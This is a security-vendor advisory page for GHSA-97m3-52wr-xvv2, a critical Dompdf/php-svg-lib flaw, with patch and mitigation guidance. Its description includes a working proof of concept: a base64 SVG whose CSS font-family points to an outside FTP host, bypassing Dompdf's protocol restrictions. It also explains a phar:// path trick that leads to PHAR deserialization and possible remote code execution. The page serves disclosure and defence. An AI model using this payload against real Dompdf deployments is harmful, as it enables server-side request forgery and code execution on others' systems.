How severe is GHSA-97m3-52wr-xvv2?

GHSA-97m3-52wr-xvv2 has a CVSS score of 10/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by GHSA-97m3-52wr-xvv2?

GHSA-97m3-52wr-xvv2 affects the following packages: phenx/php-svg-lib (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-97m3-52wr-xvv2?

Update phenx/php-svg-lib to 0.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-97m3-52wr-xvv2 is resolved across your whole dependency graph.

How do I detect GHSA-97m3-52wr-xvv2 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phenx/php-svg-lib. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-97m3-52wr-xvv2 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-97m3-52wr-xvv2?

O3 pinpoints whether GHSA-97m3-52wr-xvv2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-97m3-52wr-xvv2 actively exploited in the wild?

No public exploit code has been indexed for GHSA-97m3-52wr-xvv2 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-97m3-52wr-xvv2 published, and has it been updated?

GHSA-97m3-52wr-xvv2 was published on February 22, 2024 and was last updated on November 30, 2024. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

GHSA-97m3-52wr-xvv2

CRITICAL

Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE

Published

Feb 22, 2024

Updated

Nov 30, 2024

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Blast Radius

1 pkg affected

🐘phenx/php-svg-lib

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a file_exists call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP < 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.

Details

The problem lies on the openFont function of the lib/Cpdf.php library, when the $font variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS :

$name = basename($font);
$dir = dirname($font);
[...]
$metrics_name = "$name.ufm";
[...]

if (!isset($this->fonts[$font]) && file_exists("$dir/$metrics_name")) {

Passing a font named phar:///foo/bar/baz.phar/test will set the value of $name to test and $dir to phar:///foo/bar/baz.phar, which once reconstructed will call file_exists on phar:///foo/bar/baz.phar/test.ufm. That allows to deserialize the baz.phar arbitrary file that contains a test.ufm file in the archive.

PoC

Consider the following, minimal PHP code :

<?php
require('vendor/autoload.php');

use Dompdf\Dompdf;
$dompdf = new Dompdf();
$dompdf->loadHtml($_GET['payload']);
$dompdf->setPaper('A4', 'landscape');
$options = $dompdf->getOptions();
$options->setAllowedProtocols([]);
$dompdf->render();
$dompdf->stream();

With payload being this html file :

<html>
<img src="data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4="></img>
</html>

with the base64 image being :

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <text x="20" y="35" style="color:red;font-family:ftp://blakl.is:21/x/y;">My</text>
</svg>

A connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.

Impact

An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`phenx/php-svg-lib`	all versions	0.5.2

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phenx/php-svg-lib. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update phenx/php-svg-lib to 0.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-97m3-52wr-xvv2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-97m3-52wr-xvv2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-97m3-52wr-xvv2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP < 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf. ### Details The problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg

O3 Security · Impact-Aware SCA

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O3 detects GHSA-97m3-52wr-xvv2 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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